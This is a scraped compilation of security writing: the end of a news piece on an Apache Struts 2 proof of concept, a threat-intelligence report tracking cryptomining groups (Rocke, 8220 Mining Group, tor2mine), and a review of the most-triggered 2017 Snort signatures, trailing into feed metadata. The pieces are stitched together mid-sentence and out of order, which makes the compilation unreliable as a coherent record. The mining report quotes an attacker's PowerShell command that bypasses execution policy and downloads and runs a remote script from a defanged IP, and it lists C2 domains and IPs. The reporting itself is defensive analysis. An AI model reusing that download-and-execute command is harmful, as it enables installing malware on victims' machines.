credentials. Once the logins are harvested, the malware logs in and deploys the XMRig mining tool to mine Monero cryptocurrency.\n\n**Hackers Put Bullseye on Healthcare: **[**On Nov. 18 at 2 p.m. EDT**](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)** find out why hospitals are getting hammered by ransomware attacks in 2020. **[**Save your spot for this FREE webinar**](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)** on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why.

Both the exploitable vulnerabilities in question were fixed last November. \n[](<https://threatpost.com/newsletter-sign/>) \nResearchers have warned of outdated installations of Apache Struts 2 and that [if left unpatched](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>) they can open the door to more critical holes similar to a bug at the root of the [massive Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)).\n\n## **PoC Released to GitHub**\n\nThe proof-of-concept (PoC) [released this week ](<https://github.com/cellanu/cve-2019-0230>)raises the greatest concern with CVE-2019-0230, originally rated important when first uncovered by Matthias Kaiser at Apple Information Security. The bug is triggered when a threat actor sends a malicious Object-Graph Navigation Language (OGNL) expressions that can then open the door for a remote code-execution attack, according to the security bulletin. OGNL is a Java language that can let attackers access data objects, and then use them to create and inject server-side code.\n\n\u201cSuccessful exploitation of the most severe of these vulnerabilities (CVE-2019-0230) could allow for remote code-execution in the context of the affected application. Depending on the privileges associated with the application, an attacker could install programs; view, change or delete data; or create new accounts with full user rights,\u201d according to a bulletin issued Friday by the Multi-State Information Sharing & Analysis Center at the Center for Internet Security.\n\nWhile the PoC attack and exploit posted to GitHub targets CVE-2019-0230, the Apache Struts Security Team also urged users to patch for the DoS bug (CVE-2019-0233). The vulnerability affects the write permissions of file directories that could lead to conditions ripe for a DoS attack.\n\nAccording to the Apache Struts 2 Wiki description of the bug, this flaw can be triggered with a file upload to a Strut\u2019s Action that exposes the file.\n\n\u201cAn attacker may manipulate the request such that the working copy of the uploaded file is set to read-only. As a result, subsequent actions on the file will fail with an error. It might also be possible to set the Servlet container\u2019s temp directory to read only, such that subsequent upload actions will fail,\u201d [according the description](<https://cwiki.apache.org/confluence/display/WW/S2-060>).\n\nThe Apache security bulletin recommends upgrading to the most recent version of Apache Struts. It also suggests security teams verify no unauthorized system modifications have occurred on the system before applying the patch, and they run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.\n\n**_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint.

However, closer analysis revealed that a spate of illicit mining activity over the past year could be attributed to several actors that have netted them hundreds of thousands of U.S. dollars combined. \n \nThis blog examines these actors' recent campaigns, connects them to other public investigations and examines commonalities among their toolsets and methodologies. \n \nWe will cover the recent activities of these actors: \n\n\n * Rocke \u2014A group that employs Git repositories, HTTP FileServers (HFS), and Amazon Machine Images in their campaigns, as well as a myriad of different payloads, and has targeted a wide variety of servers, including Apache Struts2, Jenkins and JBoss.\n * 8220 Mining Group \u2014Active since 2017, this group leverages Pastebin sites, Git repositories and malicious Docker images. The group targets Drupal, Hadoop YARN and Apache Struts2.\n * Tor2Mine \u2014A group that uses tor2web to deliver proxy communications to a hidden service for command and control (C2).\nThese groups have used similar TTPs, including: \n\n\n * Malicious shell scripts masquerading as JPEG files with the name \"logo*.jpg\" that install cron jobs and download and execute miners.\n * The use of variants of the open-source miner XMRig intended for botnet mining, with versions dependent on the victim's architecture.\n * Scanning for and attempting to exploit recently published vulnerabilities in servers such as Apache Struts2, Oracle WebLogic and Drupal.\n * Malicious scripts and malware hosted on Pastebin sites, Git repositories and domains with .tk TLDs.\n * Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.\nWe were also able to link these groups to other published research that had not always been linked to the same actor. These additional campaigns demonstrate the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nThe recent decline in the value of cryptocurrency is sure to affect the activities of these adversaries. For instance, Rocke began developing destructive malware that posed as ransomware, diversifying their payloads as a potential response to declining cryptocurrency value. This was a trend that the Cyber Threat Alliance had predicted in their 2018 white paper on the [illicit cryptocurrency threat](<https://www.google.com/url?q=https://www.cyberthreatalliance.org/wp-content/uploads/2018/09/CTA-Illicit-CryptoMining-Whitepaper.pdf&sa=D&ust=1545149724689000>). However, activity on Git repositories connected to the actors demonstrates that their interest in illicit cryptocurrency mining has not completely abated. Talos published [separate research today covering this trend.](<https://blog.talosintelligence.com/2018/12/cryptocurrency-future-2018.html>) \n\n\n### Timeline of actors' campaigns\n\n#### [](<https://3.bp.blogspot.com/-jK9gU5Z4g6M/XBkSwhst2WI/AAAAAAAABh0/WgEn6WVJ0Aogu10HmoVBx-2CnIvTrCvTACLcBGAs/s1600/image5.jpg>) \n--- \nTimeline of Activity \n \n#### Introduction\n\nIllicit cryptocurrency mining remained one of the most common threats Cisco Talos observed in 2018. These attacks steal CPU cycles from compromised devices to mine cryptocurrencies and bring in income for the threat actor. Campaigns delivering mining malware can also compromise the victim in other ways, such as in delivering remote access trojans (RATs) and other malware. \n \nThrough our investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. After completing analysis of these attack's wallets and command and control (C2) servers we discovered that a spate of illicit mining activity over the past year could be attributed to several actors. This illustrates the prevalent use of tool sharing or copying in illicit mining. \n \nWe also observed that, by examining these groups' infrastructure and wallets, we were able to connect them to other published research that had not always been related to the same actor, which demonstrated the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nWe first started tracking these groups when we began monitoring a prolific actor named Rocke and noticed that several other groups were using similar TTPs. \n \nWe began following the activities of another prolific actor through a project forked on GitHub by Rocke: the 8220 Mining Group. We also noticed a similar toolset being used by an actor we named \"tor2mine,\" based on the fact that they additionally used tor2web services for C2 communications. \n \nWe also discovered some actors that share similarities to the aforementioned groups, but we could not connect them via network infrastructure or cryptocurrency wallets. Through investigating all these groups, we determined that combined, they had made hundreds of thousands of dollars in profits. \n \n\n\n#### \n\n#### Rocke/Iron cybercrime group\n\nCisco Talos wrote about [Rocke](<https://www.google.com/url?q=https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html&sa=D&ust=1545149724706000>) earlier this year, an actor linked to the Iron Cybercrime group that actively engages in distributing and executing cryptocurrency mining malware using a varied toolkit that includes Git repositories, HTTP FileServers (HFS), and a myriad of different payloads, including shell scripts, JavaScript backdoors, as well as ELF and PE miners. Talos first observed this actor when they attacked our honeypot infrastructure. \n \nIn the campaigns we discussed, Rocke targeted vulnerable Apache Struts2 servers in the spring and summer of 2018. Through tracking the actor's wallets and infrastructure, we were able to link them to some additional exploit activity that was reported on by other security firms but in most instances was not attributed to one actor. Through examining these campaigns that were not previously linked, we observed that Rocke has also targeted [Jenkins ](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/new-jenkins-campaign-hides-malware--kills-competing-crypto-miner&sa=D&ust=1545149724712000>)and [JBoss](<https://www.google.com/url?q=https://www.alibabacloud.com/blog/jbossminer-mining-malware-analysis_593804&sa=D&ust=1545149724712000>) servers, continuing to rely on malicious Git repositories, as well as malicious [Amazon Machine Images](<https://www.google.com/url?q=https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/&sa=D&ust=1545149724714000>). They have also been expanding their payloads to include malware with worm-like characteristics and destructive ransomware [capabilities](<https://www.google.com/url?q=https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/&sa=D&ust=1545149724714000>). Several campaigns used the XHide Process Faker tool. \n \nWe have since discovered additional information that suggests that Rocke has been continuing this exploit activity. Since early September, we have observed Rocke exploiting our Struts2 honeypots to download and execute files from their C2 ssvs[.]space. Beginning in late October, we observed this type of activity in our honeypots involving another Rocke C2 as well: sydwzl[.]cn. \n \nThe dropped malware includes ELF (Executable and Linkable Format) backdoors, bash scripts to download and execute other malware from Rocke C2s, as well as illicit ELF Monero miners and associated config files. \n \nWhile keeping an eye on honeypot activity related to Rocke, we have continued to monitor their GitHub account for new activity. In early October, Rocke forked a repository called [whatMiner](<https://www.google.com/url?q=https://github.com/MRdoulestar/whatMiner&sa=D&ust=1545149724720000>), developed by a Chinese-speaking actor. WhatMiner appears to have been developed by another group called the 8220 Mining Group, which we will discuss below. The readme for the project describes it as \"collecting and integrating all different kinds of illicit mining malware.\" \n\n\n[](<https://1.bp.blogspot.com/-G3Rbkg_o3Mc/XBkTFOJxe5I/AAAAAAAABh8/BWe5f_IQcIkJPH7e45o9Rzvyyb1Zzq1bQCLcBGAs/s1600/image2.png>)\n\n#### \n\n#### Git repository for whatMiner\n\nLooking at some of the bash scripts in the repository, it appears that they scan for and exploit vulnerable Redis and Oracle WebLogic servers to download and install Monero miners. The scripts also rely on a variety of Pastebin pages with Base64-encoded scripts in them that download and execute miners and backdoors on to the victim's machines. These malicious scripts and malware masquerade as JPEG files and are hosted on the Chinese-language file-sharing site thyrsi[.]com. The only difference in Rocke's forked version is that they replaced the Monero wallet in the config file with a new one. \n \nWhile looking through this repository, we found a folder called \"sustes.\" There were three samples in this folder: mr.sh, a bash script that downloads and installs an illicit Monero miner; xm64, an illicit Monero miner; and wt.conf, a config file for the miner. These scripts and malware very closely match the ones we found in our honeypots with the same file names, although the bash script and config file were changed to include Rocke's infrastructure and their Monero wallet. \n \nMany of the samples obtained in our honeypots reached out to the IP 118[.]24[.]150[.]172 over TCP. Rocke's C2, sydwzl[.]cn, also resolves to this IP, as did the domain sbss[.]f3322[.]net, which began experiencing a spike in DNS requests in late October. Two samples with high detection rates submitted to VirusTotal in 2018 made DNS requests for both domains. Both samples also made requests for a file called \"TermsHost.exe\" from an IP 39[.]108[.]177[.]252, as well as a file called \"xmr.txt\" from sydwzl[.]cn. In a previous Rocke campaign, we observed a PE32 Monero miner sample called \"TermsHost.exe\" hosted on their C2 ssvs[.]space and a Monero mining config file called \"xmr.txt\" on the C2 sydwzl[.]cn. \n \nWhen we submitted both samples in our ThreatGrid sandbox, they did not make DNS requests for sydwzl[.]cn, but did make GET requests for hxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408. The resulting download is an HTML text file of a 301 error message. When we looked at the profile for the user 979040408@qq.com, we observed that they had numerous posts related to Chinese-language hacking and exploit forums, as well as advertisements for distributed denial-of-service (DDoS) services. \n \nNote that Rocke activity tapered off towards the end of the year. Security researchers at Chinese company Alibaba have taken down Rocke infrastructure that was hosted on Alibaba Cloud. In addition, there has not been activity on Rocke\u2019s github since November, nor have we seen related samples in our honeypots since that time. \n \n\n\n#### 8220 Mining Group\n\nAs we previously described, Rocke originally forked a repository called \"whatMiner.\" We believe this tool is linked to another Chinese-speaking, Monero-mining threat actor \u2014 8220 Mining Group \u2014 due to the repository's config files' default wallet and infrastructure. Their C2s often communicate over port 8220, earning them the 8220 Mining Group moniker. This group uses some similar TTPs to Rocke. \n \nWe first observed the 8220 Mining Group in our Struts2 honeypots in March 2018. Post-exploitation, the actor would issue a cURL request for several different types of malware on their infrastructure over port 8220. The dropped malware included ELF miners, as well as their associated config files with several of 8220 Mining Group's wallets entered in the appropriate fields. This is an example of the type of commands we observed: \n\n\n[](<https://1.bp.blogspot.com/-N8vmBZIyNH0/XBkTMgozjXI/AAAAAAAABiA/WdL1yKlWJVwqXSuzeKgozMuw2lg-xpQnACLcBGAs/s1600/image6.png>)\n\nWe were able to link the infrastructure and wallets observed in the attacks against our honeypots, as well as in the Git repository, with several other campaigns that the 8220 mining group is likely responsible for. \n \nThese campaigns illustrate that beyond exploiting Struts2, 8220 Mining Group has also exploited [Drupal](<https://www.google.com/url?q=https://www.volexity.com/blog/2018/04/16/drupalgeddon-2-profiting-from-mass-exploitation/&sa=D&ust=1545149724754000>) content management system, [Hadoop YARN, Redis, Weblogic and Couch](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724756000>)[DB](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724757000>). Besides leveraging malicious bash scripts, Git repositories and image sharing services, as in whatMiner, 8220 Mining Group also carried out a long-lasting campaign using malicious [Docker images](<https://www.google.com/url?q=https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers&sa=D&ust=1545149724758000>). 8220 Mining Group was able to [amass](<https://www.google.com/url?q=https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html&sa=D&ust=1545149724759000>) nearly $200,000 worth of Monero through their campaigns. \n \nThere were some similarities to the TTPs used by Rocke and 8220 Mining Group in these campaigns. The actors downloaded a malicious file \"logo*.jpg\" (very similar to Rocke's use of malicious scripts under the file name of \"logo*.jpg payloads), which gets executed through the bash shell to deliver XMRig. The actor also employed malicious scripts hosted on .tk TLDs, Pastebin sites, and Git repositories, which we have also observed Rocke employing. \n \n\n\n#### \n\n#### tor2mine\n\nOver the past few years, Talos has been monitoring accesses for tor2web services, which serve as a bridge between the internet and the Tor network, a system that allows users to enable anonymous communication. These services are useful for malware authors because they eliminate the need for malware to communicate with the Tor network directly, which is suspicious and may be blocked, and allow the C2 server's IP address to be hidden. \n \nRecently, while searching through telemetry data, we observed malicious activity that leveraged a tor2web gateway to proxy communications to a hidden service for a C2: qm7gmtaagejolddt[.]onion[.]to. \n \nIt is unclear how the initial exploitation occurs, but at some point in the exploitation process, a PowerShell script is downloaded and executed to install follow-on malware onto the system: \n \n\n\n> C:\\\\\\Windows\\\\\\System32\\\\\\cmd.exe /c powershell.exe -w 1 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString('hxxp://107[.]181[.]187[.]132/v1/check1.ps1'))\n\n \nWe identified additional malware on this IP, which belongs to Total Server Solutions LLC. They appear to include 64-bit and 32-bit variants of XMRigCC \u2014 a variant of the XMRig miner, Windows executable versions of publically available EternalBlue/EternalRomance exploit scripts,an open-source TCP port scanner, and shellcode that downloads and executes a malicious payload from the C2. Additional scripts leverage JavaScript, VBScript, PowerShell and batch scripts to avoid writing executables to the disk. \n \nWe began to research the malware and infrastructure used in this campaign. We observed [previous research](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron&sa=D&ust=1545149724777000>) on a similar campaign. This actor was exploiting CVE-2018-11776, an Apache Struts 2 namespace vulnerability. The actor also relied on an IP hosted on Total Server Solutions LLC (107[.]181[.]160[.]197). They also employed a script, \"/win/checking-test.hta,\" that was almost identical to one we saw hosted on the tor2mine actors C2, \"check.hta:\" \n \n/win/checking-test.hta from [previous campaign](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) \n\n\n[](<https://1.bp.blogspot.com/-P0BM1YbmglE/XBkTUfYruyI/AAAAAAAABiE/cdM11HTIeMU_BLbLvaIufOkl8AlVgpphACLcBGAs/s1600/image3.png>)\n\ncheck.hta \n\n\n[](<https://4.bp.blogspot.com/-xCD4IEajoAw/XBkTbbLPdpI/AAAAAAAABiM/iFRi_JfkjaYFKKbvu9WMvVdk-9x9_2KowCLcBGAs/s1600/image4.png>)\n\nThis actor dropped XMRigCC as a payload, mining to eu[.]minerpool[.]pw, as well. Both campaigns additionally relied on the XHide Process-faker tool. \n \nSimilarly, in [February 2018](<https://www.google.com/url?q=https://blog.trendmicro.com/trendlabs-security-intelligence/oracle-server-vulnerability-exploited-deliver-double-monero-miner-payloads/&sa=D&ust=1545149724785000>), Trend Micro published a report on an actor exploiting an Oracle WebLogic WLS-WSAT vulnerability to drop 64-bit and 32-bit variants of XMRig. The actors used many similar supporting scripts that we observed during the tor2web campaigns, and also used a C2 hosted on Total Server Solutions LLC (hxxp://107[.]181[.]174[.]248). They also mined to eu[.]minerpool[.]pw. \n \nThis malware was developed in Python and then changed to ELF executables using the PyInstaller tool for distribution. This is the same technique we observed in a Rocke campaign. \n \n\n\n#### \n\n#### Conclusion\n\nThrough tracking the wallets of these groups, we estimate that they hold and have made payments totaling around 1,200 Monero. Based on public reporting, these groups combined had earned hundreds of thousands of dollars worth of cryptocurrency. However, it is difficult to ascertain the exact amount they made since the value of Monero is very volatile and it is difficult to tell the value of the currency when it was sold. We were also unable to track holdings and payments for certain kinds of wallets, such as MinerGate. \n \nThe value of Monero has dramatically declined in the past few months. Talos has observed less activity from these actors in our honeypots since November, although cryptocurrency-focused attacks from other actors continue. \n \nThere remains the possibility that with the value of cryptocurrencies so low, threat actors will begin delivering different kinds of payloads. For example, Rocke has been observed developing new malware with destructive capabilities that pose as ransomware. However, Rocke\u2019s GitHub page shows that, as of early November, they were continuing to fork mining-focused repositories, including a static build of XMRig. \n \nTalos will continue to monitor these groups, as well as cryptocurrency mining-focused attacks in general, to assess what changes, if any, arise from the decline in value of cryptocurrencies. \n \n\n\n#### \n\n#### Coverage\n\nFor

Lee](<https://www.blogger.com/profile/17941683095374027310>) and [Vanja Svajcer](<https://twitter.com/vanjasvajcer>)._\n\n \n\n\n2017 was an eventful year for cyber security with high profile vulnerabilities that allowed self-replicating worm attacks such as [WannaCry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [BadRabbit](<http://blog.talosintelligence.com/2017/10/bad-rabbit.html>) to impact organizations throughout the world. In 2017, Talos researchers discovered many new attacks including backdoors in legitimate software such as [CCleaner](<https://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html>), designed to target high tech companies as well as [M.E.Doc](<http://blog.talosintelligence.com/2017/07/the-medoc-connection.html>), responsible for initial spread of [Nyetya](<http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>). Despite all those, headline making attacks are only a small part of the day to day protection provided by security systems.\n\n \n\n\nIn this post we review some of the findings created by investigating the most frequently triggered Snort signatures as reported by [Cisco Meraki](<https://meraki.cisco.com>) systems and included in the Snort default policy set.\n\n \n\n\n## Top 5 Signatures\n\n \n\n\nSnort signatures are classified into different classes based on the type of activity detected with the most commonly reported class type being \u201cTrojan-activity\u201d followed by \u201cPolicy-violation\u201d and \u201cMisc-activity\u201d. Some less frequently reported class types such as \u201cAttempted-admin\u201d and \u201cWeb-application-attack\u201d are particularly interesting in the context of detecting malicious inbound and outbound network traffic.\n\n \n\n\nSnort signatures are identified from three parts. The Generator ID (GID), the Signature ID (SID) and revision number. The GID identifies what part of Snort generates the event; \u20181\u2019 indicates an event has been generated from the text rules subsystem. The SID uniquely identifies the rule itself. You can search for information on SIDs via the search box on the [Snort website](<https://www.snort.org/>). The revision number is the version of the rule; be sure to use the latest revision of any rule.\n\n \n\n\nWithout a further ado, here are the top 5 triggered signatures within policy in reverse order, just as you would expect from a yearly Top of the Snort alerts chart. \n\n### #5 - 1:39867:3 \u201cSuspicious .tk dns query\u201d\n\n \n\n\nThe .tk top level domain is owned by the South Pacific territory of Tokelau. The domain registry allows for the registration of domains without payment, which leads to the .tk top level domain being one of the prolific in terms of number of domain names registered. However, this free registration leads to .tk domains frequently being abused by attackers.\n\n \n\n\nThis signature triggers on DNS lookups for .tk domains. Such a case doesn\u2019t necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers.\n\n \n\n\nOther, similar signatures detecting DNS lookups to other rarely used top level domains such as .bit, .pw and .top also made into our list of top 20 most triggered rules.\n\n### #4 - 1:23493:6 \u201cWin.Trojan.ZeroAccess outbound connection\u201d\n\n \n\n\nZeroAccess is a trojan that infects Windows systems, installing a rootkit to hide its presence on the affected machine and serves as a platform for conducting click fraud campaigns. This rule detects UDP packets sent by an infected system to so called super nodes, which participate in the network of command and control servers. The rule can be used to block outbound communication from the malware.\n\n \n\n\nZeroAccess is a state of the art rootkit and is able to hide from the basic detection techniques on the infected machine. However, network detection using IPS such as Snort can quickly pinpoint a source of the malicious ZeroAccess traffic as it generates a fairly noisy and regular communication pattern.\n\n \n\n\nThe malware sends a UDP packet to check with a super node once every second, so a single affected organization is expected to have many alerts. This may be one of the reasons why the ZeroAccess detection signature is placed high on our list.\n\n### #3 - 1:41083:1 \u201csuspicious .bit dns query\u201d\n\n \n\n\nThe .bit top level domain extension is relatively obscure, but is occasionally used for hosting malware C2 systems with Necurs being one of the families using it as a part of the botnet communication. The .bit TLD is managed using Namecoin, a distributed ledger with no central authority that is one of the first forks of the Bitcoin cryptocurrency. The decentralised nature of .bit domains means that few DNS servers resolve the domains, but equally the domains are resistant to take down.\n\n \n\n\nThe signature triggers on DNS lookups for .bit domains. As with .tk lookups, if the signature triggers, this doesn\u2019t necessarily mean that such a lookup is malicious in nature. However, a sharp increase in the rule triggering may warrant investigation.\n\n### #2 - 1:42079:1 \u201cWin.Trojan.Jenxcus outbound connection attempt with unique User-Agent\u201d\n\n \n\n\nJenxcus is more of a worm than a trojan, despite the naming used in the human readable description of the signature. It spreads by copying itself to removable and shared drives and allows the attacker to remotely access and control the infected system. Like many trojans, once a system is infected, Jenxcus seeks to establish contact with its\u2019 C2 infrastructure. This contact is made with a HTTP POST request using a specific user-agent string. The user-agent string itself is specific to this trojan and its many variants, and can be detected and blocked using this signature.\n\n### #1 - 1:40522:3 \u201cUnix.Trojan.Mirai variant post compromise fingerprinting\u201d\n\n \n\n\nInternet of Things (IoT) security is something which we have written about [extensively](<http://blog.talosintelligence.com/2017/06/the-internet-of-vulnerable-things.html>). The Mirai botnet, and variants, continue to try and infect IoT devices through attempting to login with default usernames and passwords. Once the malware successfully accesses a device, it will check that the device behaves as expected and not like a honeypot. It is this check which is detected by this rule. This post compromise activity has been constantly present throughout the year and at the peak of its activity in February accounted for over 20% of all alerts reported daily.\n\n[](<https://4.bp.blogspot.com/-If7RuT_F_2M/Wm9fBRZAa8I/AAAAAAAAADo/C_BUhkG31aovUEOcnZ-c7-z520ZS9dVgQCLcBGAs/s1600/mirai.jpg>)\n\n \n\n\n## Inbound, Outbound or Internal\n\n \n\n\nNetwork traffic can cross an IDS from external to internal (inbound) from the internal to external (outbound) or pass the sensor without traversing it, as internal traffic. An alert may be triggered and logged for any of these scenarios.\n\n \n\n\nOutbound signatures were triggered during 2017 much more frequently than internal, which in turn were more frequent than inbound with ratios of approximately 9:6:5. The profile of the alerts are different for each direction. Inbound alerts are likely to detect traffic that can be attributed to attacks on various server-side applications such as web applications or databases. Outbound alerts are more likely to contain detection of outgoing traffic caused by malware infected endpoints. Internal alerts are most likely to be due to trojan or miscellaneous activity.\n\n \n\n\nLooking at these data sets in more detail gives us the following:\n\n[](<https://4.bp.blogspot.com/-Vx8dv-DQBMw/Wm9hby18fUI/AAAAAAAAAD0/1S9x5QFNs-cNMqigLaj8NgQddaLl-vm8gCLcBGAs/s1600/inbound.jpg>)\n\n \n\n\n\u201cTrojan-activity\u201d class type alerts were dominated by the Mirai post compromise fingerprinting attempts, but this category also contains blocked attempts to download executable files disguised as plain text, and traffic associated with Zeus, Swabfex, Soaphrish, Glupteba malware.\n\n \n\n\nThe \u201cAttempted-user\u201d class type covers attempts to exploit user level vulnerabilities. The majority of the most frequently triggered signatures in this set were detected attempts to exploit Internet Explorer vulnerabilities.\n\n \n \n\n\nOutbound signatures most frequently reported class types of detections triggering on internal network traffic belong to the \u201cMisc-activity\u201d and \u201cTrojan-activity\u201d classes.\n\n[](<https://1.bp.blogspot.com/-3ReC-VJ4c4U/Wm9efWbE1RI/AAAAAAAAADg/uLB_1xM1ts8q8BGfEQSnukBhvGwpxTDkgCLcBGAs/s1600/outbound.jpg>)\n\n \n\n\nThe most frequently triggered signatures within the \u201cTrojan-activity\u201d signature class are the Jenxcus and .bit dns activity signatures discussed above. Other prevalent trojan activity is related to ZeroAccess, Cidox, Zeus and Ramnit trojans.\n\n \n \n\n\nInternal traffic signature types most frequently reported detection class types belong to the \u201cMisc-activity\u201d and \u201cTrojan-activity\u201d classes.\n\n[](<https://3.bp.blogspot.com/-WPqQaY8jpX4/Wm9csL0dQbI/AAAAAAAAADI/EGmC0y1-koUKV7SjLPqSqSENCB1SCIfxACLcBGAs/s1600/internal.jpg>)\n\n \n\n\nMisc activity signatures include detections for various traffic patterns which do not easily fit into any other specific class types. This includes detection of DNS requests to less common top level domains like .top, .win, .trade, detection of traffic to domains known to be used by adware and other potentially unwanted applications (PUAs) as well as detection of suspicious HTTP user-agent strings.\n\n \n\n\n## Peaks and Troughs\n\n \n\n\nAttacks are happening continuously. Every hour of the day, every day of the year signatures are being triggered by the constant background noise of the attackers\u2019 activity. However, some signatures are clearly triggered by malicious activity being conducted during a particular period.\n\n \n\n\nOn March 6th, Apache disclosed an Apache Struts command injection vulnerability [CVE-2017-5638](<https://www.cvedetails.com/cve/cve-2017-5638>). Talos released signature [1:41818](<https://www.snort.org/rule_docs/1-41818>) to detect and block exploitation of the vulnerability. Within a couple of days, attackers were conducting [widespread campaigns](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) to identify and compromise vulnerable systems.\n\n \n\n\nAs shown in the graph below, attempts to exploit CVE-2017-5638 comprised more than 20% of all triggering signatures at the peak of the malicious activity. This campaign soon abated, but never ceased completely, until a second large peak in activity occurred over 6 days at the end of October.\n\n[](<https://4.bp.blogspot.com/-0qQJHwb3FeY/Wm9ijI4-c0I/AAAAAAAAAEI/F46PdClpxsE7hgYoXRYVqr9HyqK37-ivQCLcBGAs/s1600/struts.jpg>)\n\n \n\n\nThis graph neatly illustrates the importance of patching as well as installing and enabling signatures for new vulnerabilities as soon as possible. There may be a very short period of time between the disclosure of a vulnerability and the widespread attempted exploitation of the vulnerability by threat actors.\n\n \n\n\nSimilarly, once an initial attempt to compromise is over, the same attack may recommence some time later, so defences need to be maintained in order to ensure that systems are kept protected.\n\n \n\n\nAnother interesting pattern showing several periods of increased activity can be seen in the timeline for signature [1:40843](<https://www.snort.org/rule_docs/1-40843>). This signature detects and blocks the so called SSL Death Alert Denial of Service vulnerability in OpenSSL ([CVE-2016-8610](<https://tools.cisco.com/security/center/viewAlert.x?alertId=49575>)). An attacker can exploit vulnerable systems over the network to consume 100% CPU, preventing the system from responding to legitimate requests.\n\nFor extended periods during 2017, this vulnerability was not heavily targeted by attackers. However there are very clear periods when attackers were conducting campaigns to exploit this vulnerability.\n\n[](<https://3.bp.blogspot.com/-eUHPebdBogQ/Wm9dFKuIuhI/AAAAAAAAADU/J27BULbKtxA3iDQoVSkvsUyyrIqtOONZgCLcBGAs/s1600/dos.jpg>)\n\n \n\n\nOur primary advice is to install patches as soon as possible. However, patched versions of some software packages are not being released for this vulnerability. In this case, upgrading to a non-vulnerable version would be the preferred option, but this may not be possible in every case. Ensuring that vulnerable systems are protected by IPS with the relevant signatures installed and enabled, helps keep malicious traffic from impacting unpatched vulnerable systems.\n\n \n\n\n## Discussion\n\n \n\n\nSnort signatures detect potentially malicious network activity. Understanding why particular signatures are triggered and how they can protect systems is a key part of network security. Snort signatures can detect and block attempts at exploiting vulnerable systems, indicate when a system is under attack, when a system has been compromised, and help keep users safe from interacting with malicious systems. They can also be used to detect reconnaissance and pre-exploitation activity, indicating that an attacker is attempting to identify weaknesses in an organization\u2019s security posture. These can be used to indicate when an organization should be in a heightened state of awareness about the activity occurring within their environment and more suspicious of security alerts being generated.\n\n \n\n\nAs the threat environment changes, it is necessary to ensure that the correct signatures are in place protecting systems. Usually, this means ensuring that the most recent signature set has been promptly downloaded and installed. As shown in the Apache Struts vulnerability data, the time between a vulnerability being discovered and exploited may be short.\n\n \n\n\nOur most commonly triggered signature in 2017: 1:40522:3 \u201cUnix.Trojan.Mirai variant post compromise fingerprinting\u201d highlights the necessity of protecting IoT devices from attack. Malware such as Mirai seeks to compromise these systems to use them as part of a botnet to put to use for further malicious behaviour. Network architectures need to take these attacks into consideration and ensure that all networked devices no matter how small are protected.\n\n \n\n\nSecurity teams need to understand their network architectures and understand the significance of rules triggering in their environment. For full understanding of the meaning of triggered detections it is important for the signatures to be open source. Knowing what network content caused a signature to trigger tells you about your network and allows you to keep abreast of the threat environment as well as the available protection.\n\n \n\n\nAt Talos, we are proud to maintain a set of open source Snort rules and support the thriving [community of researchers](<https://www.snort.org/community>) contributing to Snort and helping to keep networks secure against attack. We\u2019re also proud to contribute to the training and education of network engineers through the [Cisco Networking Academy](<https://www.netacad.com>), as well through the release of additional [open-source tools](<https://www.talosintelligence.com/software>) and the detailing of attacks on our blog.\n\n \n\n\nThere is no doubt that 2018 will bring its own security challenges and it will be interesting to follow how reported detections are evolving over the year together with new threats. We will make sure to keep you up to date with events relevant to your organizations and networks.\n\n[](<http://feeds.feedburner.com/~ff/feedburner/Talos?a=ZAu5fhdHIK0:DbYh7gve-dY:yIl2AUoC8zA>)\n\n", "cvss3": {}, "published": "2018-01-29T11:37:00", "type": "talosblog", "title": "2017 in Snort Signatures.", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2016-8610", "CVE-2017-5638"], "modified": "2018-01-29T19:37:15", "id": "TALOSBLOG:991CC85C1D7CC3CD70110C7FAE123FAC", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/ZAu5fhdHIK0/2017-in-snort-signatures.html", "cvss": {"score": 10.0, "vector": 